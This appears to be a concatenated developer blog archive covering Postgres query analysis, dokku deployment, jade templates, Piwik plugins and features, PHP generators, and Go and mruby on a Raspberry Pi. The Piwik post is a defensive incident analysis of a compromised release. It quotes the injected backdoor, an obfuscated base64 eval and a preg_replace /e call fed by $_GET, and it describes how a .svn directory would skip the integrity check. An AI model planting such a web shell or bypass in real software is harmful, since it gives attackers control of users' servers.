Postgres comes with a number of really powerful tools to help analyze query and overall database performance. Here's how I usually go about finding and improving query performance.

pg_stat_statements

This extension is extremely powerful. It normalizes queries and logs their performance. What is query normalization, you ask?

Let's take a simple query like:

SELECT * FROM users AS u JOIN messages AS m ON u.id = m.user_id WHERE u.name = 'geekmonkey';

It's easy to imagine this query also being performed for other users (where u.name differs). Query normalization takes a query and abstracts the variable bits so that similar queries can be grouped together. Above query might be represented as:

SELECT * FROM users AS u JOIN messages AS m ON u.id = m.user_id WHERE u.name = $1;

The pg_stat_statements extension has been available in Postgres for a long time. Query normalisation was only added in version 9.2 however. Both Heroku and
AWS RDS come with support for the extension and enabling it is as easy as executing CREATE EXTENSION pg_stat_statements.

After enabling the extension it is advisable to let it run for a while so that it captures realistic production traffic. Note that the extension won't really help you in development or staging environments as those rarely experience comparable load nor have the same amount of data.

SELECT rolname,
    calls,
    total_time,
    mean_time,
    max_time,
    stddev_time,
    rows,
    regexp_replace(query, '[ \t\n]+', ' ', 'g') AS query_text
FROM pg_stat_statements
JOIN pg_roles r ON r.oid = userid
WHERE calls > 100
AND rolname NOT LIKE '%backup'
ORDER BY mean_time DESC
LIMIT 15;

The query is an adapted version of the one posted by Dan McGee. I'm using it in a slightly modified way to also display the maximum query time and standard deviation. This query not only helps you identify slow queries, but also queries where performance varies significantly.

Generally you should aim for queries to perform in less than 100ms. The screenshot above shows a number of queries that greatly exceed 100ms. Now, it may be tempting to jump on the first query in that list and try to optimize it. After all a mean execution time of over 4 seconds is pretty bad. What about the number of calls though?

Looking at the number of calls (or total_time, since total_time = mean_time * calls) gives us a better idea of how relevant a query is. You can make bigger gains by focusing on more frequently executed.

You will notice that I'm also selecting the stddev_time, the standard deviation of time spent executing a query. This metric is incredibly helpful determining whether a query is performing badly in general (low deviation) or sometimes spikes (high deviation). Together with max_time (the maximum time the query needed to execute) this may give a hint to the cause of the query's performance.

Once I have identified a query here are the steps I take:

• Reconstruct the query using actual values. In other words, I take the normalized query and plug in values.
• Run EXPLAIN ANALYZE on the query to understand how the query is executed.
• Identify the slowest parts of the query and look for missing indices.
• Check if and how the table is CLUSTERed.

There are plenty of ways to continue from there, some of which I'll highlight in a future post about pg_buffercache.

In this tutorial we will be using a DigitalOcean Droplet to install and run dokku and deploy a Rails app to it.

After reading this tutorial, you will be able to:

• Set up a DigitalOcean droplet using dokku
• Install a dokku plugin to run your database
• Deploy a Rails app to your server and automatically run migrations
• Set up SSL with Letsencrypt

DigitalOcean

I'm a big fan of DigitalOcean because of their Open Source friendliness and easy of setup. They also provide excellent documentation for the most common tasks.

You can get a $10 DigitalOcean credit by signing up with the link provided here.

I suggest following their excellent "How to create your first DigitalOcean droplet" setup tutorial. Once you've set up your droplet, continue with the next section.

For the purpose of this tutorial, I suggest chosing at least the $10/mo droplet on a Ubuntu 16.04 (or newer).

Connecting to your droplet

In order to connect to your droplet via SSH, open a terminal window and connect to your droplet, like this:

ssh root@your-droplet-ip

Installing Dokku

These days Heroku has become an industry default when deploying and running apps. For small businesses and developers it can however often be an expensive undertaking. Dokku provides you with a toolkit to host and run your own infrastrucure in a very similar way to Heroku.

Install the latest stable Dokku release:

wget https://raw.githubusercontent.com/dokku/dokku/v0.10.5/bootstrap.sh
DOKKU_TAG=v0.10.5 bash bootstrap.sh

This will install a lot of dependencies, including Docker which Dokku is going to orchestrate for you. It also starts a web interface which will let you finish the set up. Go to http://your-droplet-ip in order to access it.

Feel free to just hit "Finish Setup" here.

Create your dokku app

In order to create your first app with dokku you can use the dokku cli.

dokku apps:create my-app

Not good with names or miss heroku's name generator? Fear not! You can use this website to generate amazing names like falling-fire-5543.

Now that we have successfully created our first app it's time to add a database. In this tutorial we are going to use Postgres.

Add a postgres database

Gladly dokku provides an official Postgres plugin that we can use:

dokku plugin:install https://github.com/dokku/dokku-postgres.git postgres

Do note that the plugin is still in beta. I've personally found it to be working well for my needs. It even comes with an automatic way of backing up your postgres instance to S3.

Now let's create a new database instance:

export POSTGRES_IMAGE_VERSION="10.0"
dokku postgres:create my-app-production

This will instantiate a new Postgres 10.0 instance. In order to use this new instance we need to link it to our app:

dokku postgres:link my-app-production my-app

Note: This will restart your app. However, since we've not yet deployed our app this should be no problem.

Linking the database instance to your app will add an environment variable. You can view this by calling dokku config for your app:

dokku config my-app

You should see an environment variable called DATABASE_URL on your app. We will use this variable in our Rails application to connect to the database server.

Create a new Rails App

Everything in this section is run locally and not on your dokku install!

Let's start by creating a new rails app with postgresql as our default database:

rails new my-app --database=postgresql

This will create an empty Rails app. Run rails db:create to create your app's development and test databases (this is assuming you have postgres running locally - check out Postgres.app if you don't).

As mentioned earlier, dokku has added an environment variable with the database connection string for us. We need to make sure Rails will use the environment variable when running in production. Open up config/database.yml, find the production: section and change it to:

production:
  <<: *default
  url: <%= ENV['DATABASE_URL'] %>

Finally, let's make sure that our Rails app boots correctly by running rails s. You should see output confirming that the app is running locally on port 3000. Head over to http://localhost:3000.

You should see the Rails welcome page:

Make sure to commit all your local changes to the git repo:

git add -A
git commit -m "Initial commit"

Deploying to Dokku

Now that we're all set we can finally deploy to dokku. First, we need to add our dokku instance as a git remote. Yep, your read that right - dokku acts as a git remote.

git remote add dokku dokku@your-droplet-ip:my-app

Now we can deploy by pushing to the new remote:

git push dokku master

You should see logging output from dokku as it is going through the steps of installing your app's dependencies.

git push dokku master
Counting objects: 84, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (70/70), done.
Writing objects: 100% (84/84), 21.70 KiB | 0 bytes/s, done.
Total 84 (delta 2), reused 0 (delta 0)
-----> Cleaning up...
-----> Building my-app from herokuish...
-----> Setting config vars
       CURL_CONNECT_TIMEOUT: 90
-----> Setting config vars
       CURL_TIMEOUT: 60
-----> Adding BUILD_ENV to build environment...
-----> Warning: Multiple default buildpacks reported the ability to handle this app. The first buildpack in the list below will be used.
       Detected buildpacks: ruby nodejs
-----> Ruby app detected
-----> Compiling Ruby/Rails
-----> Using Ruby version: ruby-2.3.4
-----> Installing dependencies using bundler 1.15.2
       Running: bundle install --without development:
       [..]
-----> Attempting to run scripts.dokku.postdeploy from app.json (if defined)
=====> Application deployed:
       http://your-droplet-ip:port

Two things of note here:

• Dokku automatically detects our Ruby app and runs bundle install for us.
• Our app is booted and runs on a non-privileged port

You can now go to the URL in the output and see your app running.

In part 2 of this series we will talk about:

• How to automatically run migrations
• How to add a domain name to your app
• How to add SSL using Letsencrypt

Recently I've been working on a side project[^1] of mine and decided to make use of the jade template engine[^2]. Jade provides nice syntax abstraction over HTML and is the default template engine for express.js^[1].

Previous versions of jade/express allowed for automatically loading a layout file for all templates you render. It was possible to deactivate this behaviour by setting view options on your express app:

app.set('view options', {
  layout: false
});

More recent versions of express do not support this anymore. However, jade is a powerful template language and allows extending other templates and defining blocks. This is exactly how you can define a default layout and use it in other templates.

//- layout.jade
doctype html
html
  head
    block title
      title The title
    link(href='/css/main.css', rel='stylesheet', type='text/css')
  body
    #content
      block content
    block footer
      footer
        span Copyright %year% 

Note that we have defined three blocks here. There is a block called title that can be used to change the title based on context and has a default title. The content and footer blocks can be used to define the main content and an optional footer.

Here is how to use the layout and those blocks in your other templates:

//- posts.jade
extends ./layout

block title
  title Post listing

block content
  h1 Posts
  p Here's a list of all blog posts

extends and block are very powerful features of jade and can be used to build extremely complex hierarchies of templates. Enjoy!

Piwik 1.10 introduced annotations that you can add to all of your graphs. Annotations can help you in understanding your traffic and mark relevant dates that can explain traffic peaks. Piwik's simple plugin API allows developers to build and add new features easily to Piwik.

FeedAnnotation

New articles on a blog can attract a lot of visitors and will have an impact on the traffic of your website. If you are author of a blog you most likely offer an RSS or Atom-Feed to your users, so users can easily see when a new article or post is released. In Piwik you can use annotations to mark the release of a new article and later use the annotation for traffic analysis.

Manually adding annotations for new articles can quickly become a pain so it would be a good idea to let Piwik automatically fetch your RSS Feed and let it create annotations for you. The FeedAnnotation plugin solves that problem for you.

Installation

First clone the plugin into the plugins directory of your Piwik installation.

cd plugins/
git clone https://github.com/halfdan/piwik-feedannotation-plugin.git FeedAnnotation

You can alternatively also use the ZIP download provided by Github.

Now log in as superuser into your Piwik installation and activate the plugin under Settings→Plugins. This will create a new database table that stores the configured feeds.

Users with admin access to at least one website can now add and remove feeds under Settings→Settings→Feed Annotations. The plugin uses the Piwik scheduler and runs once a day to add new feed items as annotations.

Resources

• How to write a Piwik plugin
• Plugin Development
• FeedAnnotation plugin

Piwik 1.10 is about to be released and it is time to take a look at the new major features coming with it. Version 1.9 was released in October 2012, with the latest patch 1.9.2 on November 27th. Since then the developers have implemented incredible new features that will make Piwik 1.10 a very important release.

Annotations

Annotations are little text markers for specific dates. You can create an annotation to mark the release of a new article and use it to gain a better understanding on what events on your website have an influence on the number of visits.

Annotations can be created in the UI for a specific date and are then shown in the "Visits Over Time" widget. It is also possible to "Star" an annotation which it is very useful to move up annotations in the list and always see them as they can be more important.

You can however automate the process of creating annotations and use the Piwik API to create, modify or delete annotations whenever something important happens on your website.

The Piwik Annotations API is simple to use and there is a client for almost any modern programming language available (see Integrate your website or app with Piwik). Annotations were proposed in this ticket.

Page Overlay

In-Page Analytics were introduced to Google Analytics almost three years ago. With In-Page Analytics you can browse your website with the analytics data superimposed on your website. This gives you a much better understanding on how people browse your website and on what links they tend to click.

With version 1.10 this great feature is introduced to Piwik as Page Overlay. Page Overlay

You will find "Page Overlay" as a new icon displayed in every page report. Clicking the icon will open up the "Page Overlay" report for the page you selected and show you your website on the right side, additional analytics data on the left side. You can easily change the data range and analyze how the behavior of your visitors change over time.

The bubbles show you the percentage of clicks that users perform on a specific link (note that the three "80%" bubbles point to the same link). Hovering a link will show additional information on how many visitors clicked the link.

If you would like to know how this is done from a technical view point I suggest you have look at the explanation on how Google Analytics does this. You can also have a look at the tickets #2465 and #3530 for this feature.

GeoIP auto update

With Piwik 1.9 the GeoIP plugin was merged into the core. In order to use GeoIP you had several options, one which required you to manually download the GeoIP database from MaxMind and make it available to Piwik. The problem with GeoIP databases is that IP ranges are reallocated quite often and the quality of a GeoIP database continuously decreases over time.

In Piwik 1.9 it was not possible to automatically update the GeoIP database periodically which made maintaining the database a recurring task you had to remember to ensure a good quality of your analytics.

Fortunately the developers felt the need for an auto update feature and implemented it for Piwik 1.10. You can now configure Piwik to auto update the free GeoIP database montly or weekly and optionally even configure it to use the commercial and more accurate GeoIP database if you purchased one from MaxMind.

Social Widget

The social widget in Piwik 1.10 will help you to analyze how your website is present in social media. You can add the widget to your dashboard or find it directly under the Referrers > Websites & Social tab.

To read more about the social widget have a look at ticket #2791.

Conclusion

Piwik, since its first release almost 5 years ago, has gained a lot of popularity and is ranked among the best free alternatives to Google Analytics. Features like Annotations and Page Overlay have been requested by many people that wanted to switch from GA to Piwik and the lack of those features was even a show-stopper for some. Piwik 1.10 finally introduces those commonly requested features and will help the project to attract more people that currently use GA or other analytics solutions.

Annotations will play an important role in understanding how events like new articles or a referring article on Slashdot influence your traffic.

Page Overlay helps you to get a visual understanding on how visitors traverse through your pages and on what links they click the most. You can learn that some parts of your website are visually more appealing to the visitors than others and try to make use of those parts to optimize your page even further.

On the 26th of November 2012 the downloadable archive of Piwik 1.9.2 was compromised for a about eight hours. There are a few things that we can learn from this attack and conclusions we can draw to mitigate or even prevent this in the future.

Attack analysis

The attack was first disclosed to the members of the Piwik development team and then posted in the Piwik Forum by a user named schnoog.

The user reported, that the downloaded archive from piwik.org contained malicious code in core/Loader.php. He highlighted a line containing a base64 encoded and gzip compressed string which is typical for these kind of attacks.

eval(gzuncompress(base64_decode("...")));

The decoded string turns out to consist of two functions that try to send the URL of the webhost to a script that is hosted on prostoivse.com. A user in the forum pointed out that the domain name, despite being registered by a person in the US, translates from russian to its just simple. Google Translate detects prostoivse as slovenian prosto vse, which stands for free for all. It seems, that Piwik has been attacked by some russian hackers.

Ars Technica also covers this attack in detail and points out, that the IP behind the domain name has previously been used by online scammers. While the signs point to hackers with a russian background, the IP and the domain name belong to addresses in the US.

The lines before above mentioned eval function are a little more scary:

Error_Reporting(0);       if(isset($_GET['g']) && isset($_GET['s'])) {
preg_replace("/(.+)/e", $_GET['g'], 'dwm');     exit;
}

preg_replace is a commonly used function in PHP scripts and is used to perform a search and replace using a regular expression. The /e modifier will make PHP evaluate code in the replacement string. This modifier will be removed in PHP 5.5 and is deprecated in newer versions of PHP as it is a known attack vector in PHP applications.

Use of this modifier is discouraged, as it can easily introduce security vulnerabilites.

Since error reporting is deactivated by the malicious code, one will not even see deprecation warnings in the log file.

After the attack was disclosed, the Piwik team tried to figure out how the attack was possible. In their follow up blog post, the developers explained how the attacker got access to the webserver:

Attacker used a security issue in a WordPress plugin we were using, and gained partial access to the piwik.org server.

Piwik Integrity check

Piwik already comes with a built-in integrity check of all its files, that is executed whenever a user installs or updates a Piwik instance. A user in the Piwik Forum confirmed that the integrity check detected the malicious code change and showed a warning during the installation process. This however does not prevent the user from proceeding with the installation or the upgrade.

The way the integrity check works is relatively simple. A function in core/Piwik.php called Piwik::getFileIntegrityInformation() loads an array of filename-to-hash mappings from config/manifest.inc.php. The function then iterates over all files in the archive, computes the md5 sums and compares them to those listed in the manifest.

class Manifest {
    static $files=array(
        "composer.json" => array("676", "0d8c0b7c7583fa526137aa804010729b"),
        [..]
    );
}

Whenever a md5 sum does not match the sum of the corresponding file, a warning is issued to the user. While this looks like a great way to prevent attacks, it does help in case someone compromises your download archive. The attacker could have easily changed the manifest containing the md5 sums to reflect the malicious changes he made.

// ignore dev environments
if(file_exists(PIWIK_INCLUDE_PATH . '/.svn'))
{
        $messages[] = Piwik_Translate('General_WarningFileIntegritySkipped');
        return $messages;
}

Instead of modifying the manifest file, the attacker could also have created a .svn directory in the archive which would have led Piwik to skip the integrity check altogether and only display a warning to the user.

Prevention

There are several things that both users and developers should learn from this attack.

User side

PHP is a language that is known for many systems with security flaws in them. This cannot only be blamed on the language itself, as there are always developers writing bad and insecure code. There is a saying that eval is evil and should not be used in any program. PHP can be configured to disable some built-in functions with the disable_functions directive in the php.ini. Since eval is a language construct and not an internal function, we cannot disable it that easily. Suhosin, a security patch for PHP, however allows you to blacklist eval.

If eval() is the answer, then you asked the wrong question

The attacker disguised the malicious code using a base64 encoded string and tried to execute it with the eval function. Theoretically we could blacklist eval with Suhosin to prevent future attacks that use a similar approach. Sadly though, the template engine that Piwik uses (Smarty) requires the eval function and it would render Piwik non-functional if we were trying to disable it.

One thing can be done though: Most Open Source projects provide md5 sums of their downloadable archives. You should always make sure that the md5 sum matches the one of your downloaded copy before trying to install anything. Always be aware, that if the md5 sum is served by the exact same webserver as the downloaded archive, that it might be compromised as well.

In this special case, Piwik showed a warning message to the user because of the failed integrity check. Whenever you have to deal with any kind of application that is visible to the web, make sure to always read warning messages.

Developer side

There are a few things that the developers could have done, to prevent the attack in the first place. The latest version of Piwik is currently served under the URL http://piwik.org/latest.zip. By using the same host for serving the download archive and the project website you leave multiple attack vectors open. The project page is served by Wordpress, which has a long history of exploits and vulnerabilities. In the blog post following the attack, the developers confirmed that the attack used a bug in a third-party plugin for Wordpress. To sum this up: It is not a good idea to host an important download archive alongside an application that is known for security issues.

The basic setup should look like this:

1. Webserver for serving the project page and documentation
2. Separate server for all offered download packages
3. Another server to host the md5 sums for all downloads

While 1 and 3 can optionally be combined, this setup ensures that even if one host is compromised, users can still detect when someone tampered with a file.

In this case the source code repository was not compromised. No matter how many people work on a project, there should always be someone peer reviewing all commits to the repository in order to detect attempts to introduce backdoors (both intentionally and unintentionally). If the source code is compromised, even the setup above cannot prevent malicious code from being distributed to users as the md5 sum will perfectly match the distributed file.

Advice

Popular open source projects often offer bounties for finding bugs and disclosing them to the developers before making them public. This gives the developers time to work on a fix and schedule a new release before bugs or exploits are publicly used (so called 0-days). Piwik is amongst the open source projects that offer such a security bug bounty program, so if you ever find a security issue in the source code please tell it to the developers first!

Among the new features that will be introduced in PHP 5.5, the probably most exiting one is the concept of generators.

What are Generators?

Lets first look at what Wikipedia has to say about generators:

In computer science, a generator is a special routine that can be used to control the iteration behaviour of a loop.

and

A generator is very similar to a function that returns an array, in that a generator has parameters, can be called, and generates a sequence of values.

So basically a generator is a special function that creates a sequence of values and is used in loops. What then is the difference to a regular function returning an array?

There are cases where you cannot generate all values at once (think of infinite sequences or memory limitations) and this is where generators come in very handy as they produce the values on demand.

Generators in other languages

The concept of generators is not new. Implementations have long existed in other languages such as Ruby (called enumerators), Python, JavaScript and C#.

def fib():
    last = 0
    current = 1
    yield 1
    while True:
    	current = last + current
    	last = current - last
        yield current

for i in fib():
	print(i)

Generators first appeared back in 1975 in a language called CLU which was created at MIT. CLU also introduced other features such as multiple return values and multiple assignment that influenced modern languages like Ruby, Python and Go.

PHP

First lets start off by converting above Python script into its PHP equivalent:

function fib() {
    $last = 0;
    $current = 1;
    yield 1;
    while (true) {
        $current = $last + $current;
        $last = $current - $last;
        yield $current;
    }
}
 
foreach (fib() as $number) {
    echo $number . "\n";
}

The fib() function implements a generator that produces the fibonacci numbers one by one. For each computed value it uses the yield keyword with the value as parameter. PHP 5.5 automatically treats every function that contains a yield call as a generator.

Generators are implemented as a subclass of the Iterator class.

final class Generator implements Iterator {
    void  rewind();
    bool  valid();
    mixed current();
    mixed key();
    void  next();
 
    mixed send(mixed $value);
}

The initial call to a generator function will return an object of the Generator class. This can easily be tested:

function gen() {
    yield 'hello';
}

$gen = gen();
echo get_class($gen);
// => "Generator"

Iterators have been available in PHP for quite some time and implementing Generators in the same manner, makes them automatically usable in places where you earlier would have used an Iterator. So we now know how a Generator is implemented, but what about that yield keyword?

Yield

The yield keyword behaves much like return. It passes a value back to the caller of the function, but instead of completely removing the function from the stack, its state is saved for re-entry. Whenever the generator function is called again (in this case a call to next() on the Generator object - remember, it implements the Iterator interface) the execution is passed back to the point of the last yield call.

Yielding Keys

In PHP, unlike other languages, Iterators always consist of a key and a value. Yield has support for yielding keys using a similar syntax to that used in foreach loops and associative arrays: yield $key => $value;. Internally generators need to generate key is none way explicitly yielded. The behaviour of arrays was adapted here: By default the keys start with the integer value 0 and auto-increment by one. If an explicitly yielded key is larger than the current key, it is used as the new starting-point for auto-generated keys.

function gen() {
    yield 'a';
    yield 'b';
    yield 'key' => 'c';
    yield 'd';
    yield 10 => 'e';
    yield 'f';
}
 
foreach (gen() as $key => $value) {
    echo $key, ' => ', $value, "\n";
}
 
// outputs:
0 => a
1 => b
key => c
2 => d
10 => e
11 => f

Other keys, like strings, do not affect the mechanism of auto-incremented keys.

Benchmark

To test the performance of generators against other common methods of iteration Nikita Popov wrote a micro benchmark that tested the execution time of a simple loop with one hundred, ten thousand and one million iterations. The methods tested are a iterator implementation, the range function, a self-generated array and generators (here xrange).

His initial tests showed that the generators consistently outperform all other methods by at least factor 1.5 given a high number of iterations (>= 10000).

I ran his benchmark on my Thinkpad x61s with a self-compiled PHP 5.5 Alpha 1 on Ubuntu 12.04 and used memory_get_peak_usage() to get the maximum amount of memory used for each test. The tests were separated into multiple files to ensure that the memory usage really comes from a single method.

xrange        (100) took 0.00011491775512695 seconds.
xrange        (100) used 246080 bytes of memory.
xrange        (10000) took 0.0027370452880859 seconds.
xrange        (10000) used 246080 bytes of memory.
xrange        (1000000) took 0.24474191665649 seconds.
xrange        (1000000) used 246080 bytes of memory.

range         (100) took 0.006105899810791 seconds.
range         (100) used 250840 bytes of memory.
range         (10000) took 0.0058670043945312 seconds.
range         (10000) used 1727528 bytes of memory.
range         (1000000) took 0.50974011421204 seconds.
range         (1000000) used 144624904 bytes of memory.

urange        (100) took 0.00012612342834473 seconds.
urange        (100) used 252208 bytes of memory.
urange        (10000) took 0.0051400661468506 seconds.
urange        (10000) used 1728808 bytes of memory.
urange        (1000000) took 0.6002779006958 seconds.
urange        (1000000) used 144626280 bytes of memory.

RangeIterator (100) took 0.00048303604125977 seconds.
RangeIterator (100) used 249160 bytes of memory.
RangeIterator (10000) took 0.0093441009521484 seconds.
RangeIterator (10000) used 249160 bytes of memory.
RangeIterator (1000000) took 0.90639901161194 seconds.
RangeIterator (1000000) used 249160 bytes of memory.

The tests were run multiple times which showed that the results obtained are consistent over time. The results in the listing above come from a single run and confirm the numbers obtained by Nikita Popov. They also show, that generators are memory efficient in that their memory usage is in O(1). The memory usage for range and urange scale linearly and quickly let PHP run into its memory limit.

Note: The benchmark done here is still very simple and results in real use cases can vary (e.g. iterating over objects instead of numbers).

Conclusion

Generators seem to outperform Iterators and arrays for big data sets in both, speed and memory efficiency. They are also much faster to implement, since you do not have to extend the Iterator class. Personally, this is one of the few features in PHP 5.5 I am really excited about, but given the slow adoption rate of new PHP versions by most web hosts, I fear that it will take a long time until we see them used in popular projects. PHP 5.5 itself is roughly scheduled for March 2013 (one year after PHP 5.4 was released), so implementation details might change until then.

Resources

• PHP 5.5.0 Alpha1 released
• RFC Generators
• Micro benchmark

No that is not a typo in the title! Google Go was first released to the wild in 2009, exactly three years ago. Since then it has grown from an experimental language to production ready language with Go 1.

Go is available on all big platforms and architectures, be it Windows, Linux, MacOS, x86 or ARM. Being a happy owner of the Raspberry Pi, which uses an ARM chip, I tried building Go v1.0.3 and failed.

$ ./make.bash 
# Building C bootstrap tool.
cmd/dist

# Building compilers and Go bootstrap tool for host, linux/arm.
lib9
[..]
pkg/go/build
cmd/go
SIGILL: illegal instruction
PC=0x7bfa8

math.init·1()

This error has been fixed in the repository and will very likely make it into Go 1.1. This article describes the steps for building and installing Go from source on the Raspberry Pi.

Preparing your Raspberry

The Raspberry Pi comes with either 256 MB or 512 MB of memory. Compiling and linking the Go compiler can consume over 200 MB of RAM, so if you own the 256 MB version of the Pi, I recommend you adjust the memory split in favor of the main processor, at least while working with Go code. This also applies later when you compile Go programs, so keep that in mind!

The easiest way to adjust the memory split is by using the raspi-config utility:

After changing the settings you will have to reboot your Raspberry Pi using sudo shutdown -r now

Installing necessary tools and libraries

Raspbian has all the tools we need available through installable packages. To build Go from source we need Mercurial and a C compiler.

sudo apt-get install -y mercurial gcc libc6-dev

Now that all prerequisites are installed and the Pi is set up, it is time to clone the source and build Go!

Cloning the source

Google Go is hosted on Google Code and uses Mercurial for source code management.

$ hg clone https://code.google.com/p/go/ $HOME/go

This will clone the source into your home directory under the directory go.

Building Go

Go comes with a number of bash scripts that you can use to build the source. The easiest and quickest way is to run the make.bash script in the src directory.

cd $HOME/go/src
./make.bash

This will just compile the source and leave the final binaries in $HOME/go/bin. In case you want to run the full test suite you can either run all.bash (which will build and test Go) or just run test.bash after the initial build.

Adding go to your PATH

To run go directly from the command line you need to add it to the PATH. Add the following line into your .bashrc:

export PATH=$PATH:$HOME/go/bin

Baking the Pi(e)

Go is installed and we can bake the Pi!

$ go run main.go
         (
          )
     __..---..__
 ,-='  /  |  \   =-.
:--..___________..--;
 \.,_____________,./
  Happy Birthday Go!

Lets hope Go is enjoying the cake! It is now up to you to explore the possibilities of having Go installed on the Raspberry Pi. Have a look at the additional resources to get an idea of what is possible with Go and the Raspberry Pi.

package main;

import "fmt"

func main() {
  fmt.Println("         (")
  fmt.Println("          )")
  fmt.Println("     __..---..__")
  fmt.Println(" ,-='  /  |  \\  `=-.")
  fmt.Println(":--..____________..--;")
  fmt.Println(" \\.,_____________,./")
  fmt.Println("  Happy Birthday Go!")
}

Did you already build something great for the Raspberry Pi with Go? Share it in the comments!

Additional Resources

• OpenVG on the Raspberry Pi
• OpenVG 2D bindings for Go

The Raspberry Pi is a credit-card sized computer with 700 MHz (can be overclocked to about 1.1 GHz) and originally 256 MB memory, which has recently received an upgrade to 512 MB.

Yukihiro Matz announced mruby in 2011 as Ruby implementation that is easily embeddable into other application and has a low memory footprint. mruby was open sourced in May 2012 with a C API

It is technically possible to install and run Ruby 1.9 on the Raspberry Pi, the standard MRI version will probably use up too many resources. While mruby is limited in its functionality (compared to standard Ruby), its properties are perfect for the resources available on the Raspberry Pi.

Installation

I assume you already installed a Linux distribution like Raspbian to the SD Card of your Raspberry Pi. There are currently no binary packages available for mruby, so we need to fetch the source and build it ourselves.

The source code of mruby is hosted on Github, and if you do not have Git installed on your system already, we need to install it:

sudo apt-get install git-core

We can clone the latest version of mruby directly from Github:

git clone git://github.com/mruby/mruby.git

In order to build mruby, we need a C compiler and bison - a parser generator - installed on our system.

sudo apt-get install build-essential bison

Now that all requirements are fulfilled go to your copy of mruby and type make.

cd /path/to/mruby
make

This will compile mruby. Right now there is no make install, which would install mruby on your system. You will have to use the binaries in bin/ directly.

Adding mruby to PATH

You might want to add mruby to your PATH, so you do not have to call mruby with its full path all the time. Open up .bashrc in your home directory and add the following two lines at the end:

export MRUBY_HOME=/path/to/mruby
export PATH=$PATH:$MRUBY_HOME/bin

What to do now?

Now that you have mruby on your Raspberry Pi, you might ask: What do I do now?

Here are some ideas:

• mruby is still under development and needs to be tested on different platforms. The Raspberry Pi (running on an ARMv6 architecture) is one of those platforms. If you find any bugs report them on Github!

• Have a look at the C API and start to extend mruby with classes or modules to play around with. Maybe implement an ncurses wrapper for mruby?

• Take your favorite Gem and port it to mruby! There already is a project to provide Gem support for mruby called mrbgems.

• Read through the issues for mruby on Github. Try to improve mruby by fixing issues or by working on feature requests made by the users. Someone requested fibers for mruby - why not work on that?

There are of course a lot of other things you can do with mruby. You are only limited by your imagination!

Did you already do something great with mruby and want to share it with the world? Leave a comment below!

Other resources

• An Introduction to Mini Ruby
• Quick benchmark test with mruby vs. V8
• Using Minimalistic Ruby as alternative to server-side JavaScript

Ruby is used in a wide variety of projects today, but has gained popularity in web development with Ruby on Rails. With mruby, the latest language implementation, Ruby can be embedded into other applications.

Installation

The mruby project is hosted on Github. There are currently no binary distributions available, but it is easy enough to build mruby from source. mruby uses the bison parser generator, which we need to install before we can build from source.

apt-get install bison build-essential

Make sure you have Git installed on your system and then execute the following commands:

git clone git://github.com/mruby/mruby.git
cd mruby
make

This will clone the repository from Github and compile mruby. After compilation has finished, you should have the mruby binaries in bin/, library files in lib/ and header files in include/.

Executables

The compilation process generates three binaries in the bin/ directory. Lets inspect them one by one.

mruby

This is the equivalent to the normal Ruby binary your have with MRI Ruby. You can execute mruby scripts or just check them for syntax errors.

mirb

mirb is the mruby variant of the interactive ruby shell, you probably already know from standard Ruby. It provides an easy and interactive interface where you can write ruby code and execute it on-the-fly.

$ ./mirb 
mirb - Embeddable Interactive Ruby Shell

This is a very early version, please test and report errors.
Thanks :)

> s = "awesome"
 => "awesome"
> p "Ruby is #{s}"
"Ruby is awesome"
 => "Ruby is awesome"

mrbc

The mrbc binary is the mruby bytecode compiler. It translates mruby scripts into either rite bytecode for the RiteVM (which is the name of the VM mruby uses) or transforms it into a C program. While mruby can directly execute Ruby scripts you can use mrbc to precompile the scripts into bytecode. This obviously makes execution of your programs faster, as the script does not have to be parsed every time you want to execute it.

Say you have a script called test.rb and want to compile it to bytecode and then execute it with mruby. All you need to do is the following:

./bin/mrbc test.rb
./bin/mruby -b test.mrb

Embedding mruby

mruby is designed to be embedded into other applications. It provides an easy to use C API which can be used to execute scripts or simply hard-coded strings or to extend mruby by providing custom classes that interface with your application. A "Hello World" like example for the C API is the following:

#include <stdlib.h>
#include <stdio.h>

#include <mruby.h>
#include <mruby/compile.h>

int main(void)
{
  mrb_state *mrb = mrb_open();
  char code[] = "5.times { puts 'Ruby is awesome!' }";

  mrb_load_string(mrb, code);
  return 0;
}

This small snippet creates a new instance of mruby using mrb_open (defined in mruby.h) and then loads and executes the character array with ruby code using mrb_load_string. In order to compile this code we need to tell gcc, to link the libmruby library. We also need to include the math library (-lm) which is not linked with libmruby.

$ gcc -Iinclude main.c lib/libmruby.a -lm -o main.out
$ ./main.out
Ruby is awesome!
Ruby is awesome!
Ruby is awesome!
Ruby is awesome!
Ruby is awesome!

There are several ways by which you can optimize mruby itself. For one you can force the mruby runtime to use float instead of double values for representing floating point number by simply defining the MRB_USE_FLOAT constant as compiler option (-DMRB_USE_FLOAT). Other options can be found in include/mrbconf.h:

/* -DDISABLE_XXXX to drop the feature */
#define DISABLE_REGEXP          /* regular expression classes */
//#define DISABLE_SPRINTF       /* Kernel.sprintf method */
//#define DISABLE_MATH          /* Math functions */
//#define DISABLE_TIME          /* Time class */
//#define DISABLE_STRUCT        /* Struct class */
//#define DISABLE_STDIO         /* use of stdio */

By default only regular expressions are disabled.

Limitations

mruby comes with a number of limitations to make it as light as possible. The probably most notable feature that has been left out, is the ability to require files. Requiring other files is an expensive operation and does not fit well into the design of mruby. Similarly forks and threads are not available for mruby scripts.

Conclusions

mruby is still in development, but there already are a number of good projects utilizing it. MobiRuby brings mruby to the iOS platform and allows you to build apps for mobile devices. mruby has a low-memory footprint and is in many ways similar to Lua. Lua is extensively used in scripting video games or as a way to influence httpd request processing in popular webservers like Apache, lighttpd or NginX. For Apache, there already is a mod_mruby that is developed as an alternative to Lua.

Additional Ressources

• mruby keynote by Yukihiro "Matz" Matsumoto: Part 1, Part 2
• Introduction to mruby
• Getting started with mruby
• mruby in Go
• mruby for Android and iOS
• mruby presentation
• RiteVM

Piwik offers a plugin architecture, that allows you to build plugins without modifying the Piwik core. This article will give an introduction to the Piwik plugin architecture and show you how to build your own plugin.

What can a plugin do for me?

A plugin can..

• ..collect additional data that Piwik currently does not track.
• ..define new Widgets to visualize currently available or new data.
• ..define new or override existing menus to customize your Piwik
• ..provide an API and automatically make data accessible in a number of formats

How does tracking work?

Before you can start writing your own plugin, you should know how Piwik tracks and processes data. The best way to start is by taking a look at the database layout of a fresh Piwik installation.

Tracking

Each time a visitor visits your Piwik enabled website the JavaScript will submit a set of basic data about your visitor and the page visited to the piwik.php script. The script takes the raw data and stores it in the database. Tracker plugins can modify or add data to it (e.g. the GeoIP plugin adds geolocation information to the raw data).

